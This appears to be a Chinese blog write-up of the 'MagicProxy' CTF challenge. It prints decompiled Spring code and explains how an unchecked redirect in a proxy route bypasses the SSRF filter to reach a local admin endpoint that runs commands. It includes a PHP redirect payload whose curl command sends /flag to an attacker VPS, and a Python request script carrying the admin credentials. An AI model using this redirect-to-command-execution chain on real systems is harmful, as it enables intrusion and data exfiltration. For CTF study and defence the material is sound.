[CSICN 西北地区赛] MagicProxy

其实挺简单的,但是比赛的时候想复杂了,一直在考虑利用DNS重绑定来绕过check实现SSRF,其实302设置一个Location头就可以了。

先放上来Utils.class的check:
com.example.magicproxy.utils.Utils

package BOOT-INF.classes.com.example.magicproxy.utils;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.UnknownHostException;

public class Utils {
  public static String readInputStream(InputStream stream) throws IOException {
    BufferedReader reader = new BufferedReader(new InputStreamReader(stream));
    StringBuffer result = new StringBuffer();
    String tmp = reader.readLine();
    while (tmp != null) {
      result.append(tmp + "\n");
      tmp = reader.readLine();
    } 
    reader.close();
    return result.toString();
  }
  
  public static boolean sanitizeUrl(String url) {
    if (url != null)
      try {
        URL parsedUrl = new URL(url);
        String protocol = parsedUrl.getProtocol();
        String host = parsedUrl.getHost();
        InetAddress address = InetAddress.getByName(host);
        String hostAddress = address.getHostAddress();
        System.out.println(hostAddress);
        host = host.toLowerCase();
        return ((protocol.equals("http") || protocol.equals("https")) && 
          !address.isAnyLocalAddress() && 
          !address.isLoopbackAddress() && 
          !address.isLinkLocalAddress() && 
          !host.endsWith(".internal") && 
          !host.endsWith(".local") && 
          !host.contains("localhost") && 
          !hostAddress.startsWith("0.") && 
          !hostAddress.startsWith("10.") && 
          !hostAddress.startsWith("127.") && 
          !hostAddress.startsWith("169.254.") && 
          !hostAddress.startsWith("172.16.") && 
          !hostAddress.startsWith("172.17.") && 
          !hostAddress.startsWith("172.18.") && 
          !hostAddress.startsWith("172.19.") && 
          !hostAddress.startsWith("172.20.") && 
          !hostAddress.startsWith("172.21.") && 
          !hostAddress.startsWith("172.22.") && 
          !hostAddress.startsWith("172.23.") && 
          !hostAddress.startsWith("172.24.") && 
          !hostAddress.startsWith("172.25.") && 
          !hostAddress.startsWith("172.26.") && 
          !hostAddress.startsWith("172.27.") && 
          !hostAddress.startsWith("172.28.") && 
          !hostAddress.startsWith("172.29.") && 
          !hostAddress.startsWith("172.30.") && 
          !hostAddress.startsWith("172.31.") && 
          !hostAddress.startsWith("192.0.0.") && 
          !hostAddress.startsWith("192.168.") && 
          !hostAddress.startsWith("198.18.") && 
          !hostAddress.startsWith("198.19.") && 
          !hostAddress.startsWith("fc00::") && 
          !hostAddress.startsWith("fd00::") && 
          !host.endsWith(".arpa"));
      } catch (MalformedURLException e) {
        return false;
      } catch (UnknownHostException e) {
        return false;
      }  
    return false;
  }
}

过滤写的很死,然后再看路由:
com.example.magicproxy.controller.AdminController

package BOOT-INF.classes.com.example.magicproxy.controller;

import java.io.IOException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.util.Base64Utils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class AdminController {
  @GetMapping({"/admin"})
  public void Admin(@RequestParam String command, HttpServletRequest request, HttpServletResponse response) throws IOException {
    String ipAddress = request.getRemoteAddr();
    if (!ipAddress.equals("127.0.0.1")) {
      response.setStatus(HttpStatus.FORBIDDEN.value());
      return;
    } 
    request.setCharacterEncoding("UTF-8");
    String authorization = request.getHeader("Authorization");
    if (authorization == null) {
      response.setStatus(HttpStatus.UNAUTHORIZED.value());
      response.setHeader("WWW-Authenticate", "Basic realm=\"Realm\"");
    } else {
      String credentials = authorization.substring("Basic ".length());
      byte[] decodedCredentials = Base64Utils.decode(credentials.getBytes("UTF-8"));
      String[] arrays = (new String(decodedCredentials)).split(":");
      if (arrays != null && arrays.length == 2) {
        String username = arrays[0];
        String password = arrays[1];
        if ("Admin".equals(username) && "AdminE6fdEiU7".equals(password))
          Runtime.getRuntime().exec(command); 
      } 
    } 
  }
}

大概思路就是必须是127.0.0.1去请求的admin路由,然后会有一个auth,不过用户名密码都知道,直接写进Authorization请求头就可以了,然后就是漏洞点proxy路由:
com.example.magicproxy.controller.ProxyController

package BOOT-INF.classes.com.example.magicproxy.controller;

import com.example.magicproxy.utils.Utils;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.UnknownHostException;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class ProxyController {
  private static final int TIMEOUT = 29000;
  
  @GetMapping({"/proxy"})
  public void doProxy(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String urlParam = url;
    if (Utils.sanitizeUrl(urlParam)) {
      String ref = request.getHeader("referer");
      String ua = request.getHeader("User-Agent");
      String auth = request.getHeader("Authorization");
      try (ServletOutputStream null = response.getOutputStream()) {
        request.setCharacterEncoding("UTF-8");
        response.setCharacterEncoding("UTF-8");
        URL urlObject = new URL(urlParam);
        URLConnection connection = urlObject.openConnection();
        connection.setConnectTimeout(29000);
        connection.setReadTimeout(29000);
        response.setHeader("Cache-Control", "private, max-age=86400");
        if (auth != null)
          connection.setRequestProperty("Authorization", auth); 
        if (connection instanceof HttpURLConnection) {
          ((HttpURLConnection)connection)
            .setInstanceFollowRedirects(false);
          int status = ((HttpURLConnection)connection).getResponseCode();
          int counter = 0;
          while (counter++ <= 6 && status / 10 == 30) {
            String redirectUrl = connection.getHeaderField("Location");
            urlObject = new URL(redirectUrl);
            connection = urlObject.openConnection();
            if (auth != null)
              connection.setRequestProperty("Authorization", auth); 
            ((HttpURLConnection)connection)
              .setInstanceFollowRedirects(false);
            connection.setConnectTimeout(29000);
            connection.setReadTimeout(29000);
          } 
        } else {
          response.setStatus(415);
        } 
        servletOutputStream.flush();
      } catch (UnknownHostException|java.io.FileNotFoundException e) {
        response.setStatus(404);
      } catch (Exception e) {
        response.setStatus(500);
        e.printStackTrace();
      } 
    } else {
      response.setStatus(400);
    } 
  }
}

首先在 if (Utils.sanitizeUrl(urlParam)) 会对传入的url进行一次检查,这里是没办法绕过的,但是关注到这里:

         while (counter++ <= 6 && status / 10 == 30) {
            String redirectUrl = connection.getHeaderField("Location");
            urlObject = new URL(redirectUrl);
            connection = urlObject.openConnection();
            if (auth != null)
              connection.setRequestProperty("Authorization", auth); 
            ((HttpURLConnection)connection)
              .setInstanceFollowRedirects(false);
            connection.setConnectTimeout(29000);
            connection.setReadTimeout(29000);
          } 

如果出现了302跳转,并且跳转次数小于等于6次,就会向Location头中的URL发起请求,而这里对URL并没有进行限制,也就是说我们只需要在VPS上起一个Web应用,然后设置Location为SSRF的URL即可绕过检测实现攻击,并且这里会带上Authorization的认证。

VPS上起一个index.php:

<?php
header("Location: http://127.0.0.1:8080/admin?command=curl%20VPS:PORT%20-X%20POST%20-d%20@/flag");

然后Burp抓包或者写个请求脚本,带上Authorization头即可:

import requests
url = "http://localhost:8080/proxy?url=http://VPS/index.php"
res = requests.get(url,headers={"Authorization": "Basic QWRtaW46QWRtaW5FNmZkRWlVNw=="})
print(res.status_code)
print(res.text)

image

posted @ 2022-06-20 18:22  Ye'sBlog  阅读(326)  评论(0编辑  收藏  举报